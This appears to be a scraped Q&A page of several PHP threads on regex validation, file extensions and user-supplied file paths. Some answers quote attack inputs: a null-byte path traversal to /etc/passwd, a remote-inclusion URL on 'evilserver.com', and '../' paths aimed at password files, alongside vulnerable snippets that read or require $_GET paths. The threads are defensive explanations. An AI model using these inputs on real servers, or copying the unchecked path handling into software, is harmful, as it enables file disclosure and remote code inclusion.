why isn't my preg_match case insensitive? - php

My form allows people to upload a file for 3d printing but I want to restrict possible files to .obj or .stl
} elseif (!preg_match("/^.*\.(stl|obj)$/i",$model['name'])) {
//reject because it's not the correct extension.
when the extension is lower case (.stl) the form works fine, but when it's uppercase (.STL) it rejects it

It was a stupid human trick. It didn't work either way. Barmar's comment helped me look and see I had my variable name wrong.

Related

Which special characters can cause a file path to be misinterpreted?

For example, there is function (pseudo code):
if ($_GET['path'] ENDS with .mp3 extension) { read($_GET['path']); }
but is it possible, that hacker in a some way, used a special symbol/method, i.e.:
path=file.php^example.mp3
or
path=file.php+example.mp3
or etc...
if something such symbol exists in php, as after that symbol, everything was ignored, and PHP tried to open file.php..
p.s. DONT POST ANSWERS about PROTECTION! I NEED TO KNOW IF THIS CODE can be bypassed, as I AM TO REPORT MANY SCRIPTS for this issue (if this is really an issue).
if something such symbol exists in php, as after that symbol, everything was ignored, and PHP tried to open file.php..
Yes, such a symbol exists; it is called the 'null byte' ("\0").
Because in C (the language used to write the PHP engine) the end of a 'string' is signalled by the null byte. So, whenever a null byte is encountered, the string will end.
If you want the string to end with .mp3 you should manually append it.
Having said that, it is, generally speaking, a very bad idea to accept a user supplied path from a security standpoint (and I believe you are interested in the security aspect of this, because you originally posted this question on security.SE).
Consider the situation where:
$_GET['path'] = "../../../../../etc/passwd\0";
or a variation on this theme.
The leading concept in programming is "Don't trust user input". So the main problem in your case is not a special character its how you work with your data. So you shouldn't use a path given by a user because the user can manipulate the path or other variables.
To escape a user input to prevent bad characters you can use htmlspecialchars or you can filter your get input with filter_input something like that:
$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
WE CAN'T TELL IF YOU IF THE CODE CAN BE "BYPASSED" BECAUSE YOU'VE NOT GIVEN US ANY PHP CODE
As to the question of whether its possible to trick PHP into processing a file it shouldn't based on the end of the string, then the answer is only if there is another file somewhere else which has the same ending. However, by default, PHP will happily read from URLs using the same functionality as reading from local files, consider:
http://yourserver.com/yourscript.php?path=http%3A%2F%2Fevilserver.com%2Fpwnd_php.txt%3Ffake_end%3Dmp3

Why the US zip codes which are not in use is accepting even after validating with proper regex in PHP?

I'm validating US zip code values in PHP. From a form I'm getting one zip code value from the end user. If it's not a valid US zip code an error should be thrown. It throws for some values for some it's not even they are invalid US zip codes. Suppose if user enters zip code value 35302 it must throw an error since 353 is not in use. For zip codes which are currently in use and which are not in use you can refer this link
Wikipedia link to all available US zip code values
Now let's come to the regex code I used for validation :
function zip_code($str) {
return (bool) preg_match("/^([0-9]{5})(-[0-9]{4})?$/i", $str);
}
Note : Here the $str contains the zip code value to be validated.
Please help me in correcting the mistake that I'm making in my code.
Thanks in advance.
As vks said, the regex has no idea of what kind of data you're trying to work with.
A regex is for pattern matching, nothing more, nothing less.
You could use a regex to extract the first three digits of the zip code and compare those against whatever data you have for zip codes.
The USPS has an API to look up zip codes. You could call it directly instead of doing a regex (for one thing a regex doesn't guarantee that a specific code is valid, only that the prefix is valid):
https://www.usps.com/business/web-tools-apis/address-information-api.htm

Upper or Lower Case Issue using get_file_contents php

I am using a PHP GET method to grab a file name that then is placed in a get_file_contents command. If it is possible, I would like to ignore letter case so that my URL's are cleaner.
For instance, example.com/file.php?n=File-Name will work but example.com/file.php?n=file-name will not work using the code below. I feel like this should be easy but I'm coming up dry. Any thoughts?
$file = $_GET['n'];
$file_content = file_get_contents($file);
Lowercase all your filenames and use:
file_get_contents(strtolower($file));
(I hope you're aware of some of the risks involved in using this.)
The Linux filesystem is case sensitive. If you want to do case insensitive matching against files that already exist on the user's machine, your only option is to obtain a directory listing and do case-insensitive comparison.
But you don't explain where the download URLs come from. If you already know the correct filenames and you want to generate prettier URLs, you can keep a list of the true pathnames and look them up when you receive a case-normalized one in a URL (you could even rename them completely, obfuscate, etc.)

Is there a period in the string?

So i am using this wordpress function to get the users image
the_author_meta('author_image', the_author_ID()
and it will either return something.jpg or something.png or something.gif if it finds an image otherwise it will return an integer like 2330. How would i do a preg_match or some conditional to let me know if an image is present. I was thinking of doing a preg_match to see if there is a period in the name but if someone has a better idea that would be great..
Simpler:
if (is_numeric($author_image)){
// this is presumably not a file
}
If all you want to do is check the extension of the file to see if it ends with something (ex. '.jpg', '.png', etc.) you can use the solution presented here:
startsWith() and endsWith() functions in PHP
I do not have familiarity with the library that you are using, but there really should be a better way to detect if the file is actually an image (some sort of meta data). Maybe reading the documentation will help?
EDIT: I misread the part about the function returning integers if an image is not found. The is_numeric() solution is probably enough, but I'll leave my answer up to give you options (for example, if you want to distinguish between image types).

is_file($_GET) and security

I'm using this code on top of my PHP file for loading cached files and I'm worried whether it's secure enough:
//quick! load from cache if exists!
if (is_file('cache/'.($cachefile=basename('/',$_GET['f']))))
{
header('content-type: text/css');
require('cache/'.$cachefile);
die(); //ALL OK, loaded from cache
}
EDIT: I would also like to know if it isn't, how is it exploitable and how to rewrite it in safe manner.
EDIT 2: I edited code, from previous code, I don't know how I could thought that is_file will filter bad paths >.<
EDIT 3: Changed it again, so it uses basename() instead of end(explode()) and also changed inclusion from repeating the code into assigning the value into variable during first comparison (or file check).
I never just include($_GET), but today, I somehow thought is_file will filter out paths, that may harm my system. I don't know how.
Thank you
I could send $_GET['f'] = '../../database_passwords.xml' ...
Use basename to eliminate anything but the last segment of the passed path. Alternatively, construct the path, then compute the absolute path that corresponds and check if it's still within cache/.
BAD!
What about:
page.php?f=../../../../../etc/password
Never do such things
Check f against a white list or specific pattern like "[a-z]+.php"
No it isn't. I could put '../../anypath' in $_GET['f'] and gain access to any file on your server, even those outside your www root.
[edit]
It would be a lot safer if you would check for '/' and other invalid characters in the value. It is pretty safe if that filename only contains alphanumeric characters and . and _.

Categories